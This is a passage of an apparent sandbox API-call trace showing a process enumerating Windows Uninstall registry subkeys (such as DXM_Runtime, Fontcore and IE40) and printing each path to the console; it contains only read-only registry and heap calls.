lpUsedDefaultChar=0x0) returned 83 [0146.811] GetConsoleOutputCP () returned 0x1b5 [0146.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime\n", cchWideChar=83, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime\n", lpUsedDefaultChar=0x0) returned 83 [0146.812] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 83 [0146.812] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.812] RegOpenKeyExW (in: hKey=0x58, lpSubKey="DXM_Runtime", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.812] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.812] GetProcessHeap () returned 0x2e0000 [0146.812] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fb7d0 [0146.812] __iob_func () returned 0x7fefd702a80 [0146.812] _fileno (_File=0x7fefd702ab0) returned 1 [0146.812] _errno () returned 0xc4bb0 [0146.812] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.812] _errno () returned 0xc4bb0 [0146.812] GetFileType (hFile=0x50) returned 0x1 [0146.812] lstrlenW (lpString="\n") returned 1 [0146.812] GetConsoleOutputCP () returned 0x1b5 [0146.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.812] GetConsoleOutputCP () returned 0x1b5 [0146.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.812] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.812] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.812] GetProcessHeap () returned 0x2e0000 [0146.812] GetProcessHeap () returned 0x2e0000 [0146.812] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.812] GetProcessHeap () returned 0x2e0000 [0146.813] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x2 [0146.813] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.813] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.813] GetProcessHeap () returned 0x2e0000 [0146.813] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fb7d0 [0146.813] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime") returned 82 [0146.813] GetProcessHeap () returned 0x2e0000 [0146.813] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xa8) returned 0x2fcd70 [0146.813] GetProcessHeap () returned 0x2e0000 [0146.813] GetProcessHeap () returned 0x2e0000 [0146.813] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.813] GetProcessHeap () returned 0x2e0000 [0146.813] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x2 [0146.813] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.813] GetProcessHeap () returned 0x2e0000 [0146.813] GetProcessHeap () returned 0x2e0000 [0146.813] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70) returned 1 [0146.813] GetProcessHeap () returned 0x2e0000 [0146.813] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd70) returned 0xa8 [0146.813] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70 | out: hHeap=0x2e0000) returned 1 [0146.813] RegCloseKey (hKey=0x5c) returned 0x0 [0146.813] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x5, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Fontcore", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.813] __iob_func () returned 0x7fefd702a80 [0146.813] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.813] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore\n") returned 80 [0146.813] _fileno (_File=0x7fefd702ab0) returned 1 [0146.813] _errno () returned 0xc4bb0 [0146.813] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.813] _errno () returned 0xc4bb0 [0146.813] GetFileType (hFile=0x50) returned 0x1 [0146.813] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore\n") returned 80 [0146.813] GetConsoleOutputCP () returned 0x1b5 [0146.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore\n", cchWideChar=80, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 80 [0146.814] GetConsoleOutputCP () returned 0x1b5 [0146.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore\n", cchWideChar=80, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore\n", lpUsedDefaultChar=0x0) returned 80 [0146.814] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 80 [0146.814] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.814] RegOpenKeyExW (in: hKey=0x58, lpSubKey="Fontcore", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.814] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.814] GetProcessHeap () returned 0x2e0000 [0146.814] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fb7d0 [0146.814] __iob_func () returned 0x7fefd702a80 [0146.814] _fileno (_File=0x7fefd702ab0) returned 1 [0146.814] _errno () returned 0xc4bb0 [0146.814] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.814] _errno () returned 0xc4bb0 [0146.814] GetFileType (hFile=0x50) returned 0x1 [0146.814] lstrlenW (lpString="\n") returned 1 [0146.814] GetConsoleOutputCP () returned 0x1b5 [0146.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.814] GetConsoleOutputCP () returned 0x1b5 [0146.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.815] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.815] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.815] GetProcessHeap () returned 0x2e0000 [0146.815] GetProcessHeap () returned 0x2e0000 [0146.815] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.815] GetProcessHeap () returned 0x2e0000 [0146.815] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x2 [0146.815] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.815] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.815] GetProcessHeap () returned 0x2e0000 [0146.815] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.815] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore") returned 79 [0146.815] GetProcessHeap () returned 0x2e0000 [0146.815] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xa2) returned 0x2fd170 [0146.815] GetProcessHeap () returned 0x2e0000 [0146.815] GetProcessHeap () returned 0x2e0000 [0146.815] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.815] GetProcessHeap () returned 0x2e0000 [0146.815] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.815] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.815] GetProcessHeap () returned 0x2e0000 [0146.815] GetProcessHeap () returned 0x2e0000 [0146.815] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.815] GetProcessHeap () returned 0x2e0000 [0146.815] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xa2 [0146.815] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.815] RegCloseKey (hKey=0x5c) returned 0x0 [0146.815] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x6, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE40", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.815] __iob_func () returned 0x7fefd702a80 [0146.815] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.815] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40\n") returned 76 [0146.815] _fileno (_File=0x7fefd702ab0) returned 1 [0146.815] _errno () returned 0xc4bb0 [0146.815] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.815] _errno () returned 0xc4bb0 [0146.816] GetFileType (hFile=0x50) returned 0x1 [0146.816] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40\n") returned 76 [0146.816] GetConsoleOutputCP () returned 0x1b5 [0146.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40\n", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0146.816] GetConsoleOutputCP () returned 0x1b5 [0146.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40\n", cchWideChar=76, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40\n", lpUsedDefaultChar=0x0) returned 76 [0146.816] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0146.816] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.816] RegOpenKeyExW (in: hKey=0x58, lpSubKey="IE40", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.816] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.816] GetProcessHeap () returned 0x2e0000 [0146.816] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.816] __iob_func () returned 0x7fefd702a80 [0146.816] _fileno (_File=0x7fefd702ab0) returned 1 [0146.816] _errno () returned 0xc4bb0 [0146.816] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.816] _errno () returned 0xc4bb0 [0146.816] GetFileType (hFile=0x50) returned 0x1 [0146.816] lstrlenW (lpString="\n") returned 1 [0146.816] GetConsoleOutputCP () returned 0x1b5 [0146.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.817] GetConsoleOutputCP () returned 0x1b5 [0146.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.817] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.817] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.817] GetProcessHeap () returned 0x2e0000 [0146.817] GetProcessHeap () returned 0x2e0000 [0146.817] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.817] GetProcessHeap () returned 0x2e0000 [0146.817] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.817] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.817] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.817] GetProcessHeap () returned 0x2e0000 [0146.817] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.817] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40") returned 75 [0146.817] GetProcessHeap () returned 0x2e0000 [0146.817] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x9a) returned 0x2fd170 [0146.817] GetProcessHeap () returned 0x2e0000 [0146.817] GetProcessHeap () returned 0x2e0000 [0146.817] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.817] GetProcessHeap () returned 0x2e0000 [0146.817] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.817] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.817] GetProcessHeap () returned 0x2e0000 [0146.817] GetProcessHeap () returned 0x2e0000 [0146.817] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.817] GetProcessHeap () returned 0x2e0000 [0146.817] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0x9a [0146.817] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.817] RegCloseKey (hKey=0x5c) returned 0x0 [0146.817] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x7, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE4Data", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.817] __iob_func () returned 0x7fefd702a80 [0146.818] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.818] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data\n") returned 79 [0146.818] _fileno (_File=0x7fefd702ab0) returned 1 [0146.818] _errno () returned 0xc4bb0 [0146.818] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.818] _errno () returned 0xc4bb0 [0146.818] GetFileType (hFile=0x50) returned 0x1 [0146.818] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data\n") returned 79 [0146.818] GetConsoleOutputCP () returned 0x1b5 [0146.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data\n", cchWideChar=79, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 79 [0146.818] GetConsoleOutputCP () returned 0x1b5 [0146.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data\n", cchWideChar=79, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data\n", lpUsedDefaultChar=0x0) returned 79 [0146.818] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 79 [0146.818] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.818] RegOpenKeyExW (in: hKey=0x58, lpSubKey="IE4Data", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.818] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.818] GetProcessHeap () returned 0x2e0000 [0146.818] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.818] __iob_func () returned 0x7fefd702a80 [0146.818] _fileno (_File=0x7fefd702ab0) returned 1 [0146.818] _errno () returned 0xc4bb0 [0146.818] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.818] _errno () returned 0xc4bb0 [0146.818] GetFileType (hFile=0x50) returned 0x1 [0146.818] lstrlenW (lpString="\n") returned 1 [0146.819] GetConsoleOutputCP () returned 0x1b5 [0146.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.819] GetConsoleOutputCP () returned 0x1b5 [0146.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.819] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.819] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.819] GetProcessHeap () returned 0x2e0000 [0146.819] GetProcessHeap () returned 0x2e0000 [0146.819] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.819] GetProcessHeap () returned 0x2e0000 [0146.819] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.819] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.819] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.819] GetProcessHeap () returned 0x2e0000 [0146.819] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.819] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data") returned 78 [0146.819] GetProcessHeap () returned 0x2e0000 [0146.819] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xa0) returned 0x2fd170 [0146.819] GetProcessHeap () returned 0x2e0000 [0146.819] GetProcessHeap () returned 0x2e0000 [0146.819] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.819] GetProcessHeap () returned 0x2e0000 [0146.819] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.820] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.820] GetProcessHeap () returned 0x2e0000 [0146.820] GetProcessHeap () returned 0x2e0000 [0146.820] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.820] GetProcessHeap () returned 0x2e0000 [0146.820] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xa0 [0146.820] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.820] RegCloseKey (hKey=0x5c) returned 0x0 [0146.820] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x8, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE5BAKEX", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.820] __iob_func () returned 0x7fefd702a80 [0146.820] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.820] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX\n") returned 80 [0146.820] _fileno (_File=0x7fefd702ab0) returned 1 [0146.820] _errno () returned 0xc4bb0 [0146.820] _get_osfhandle 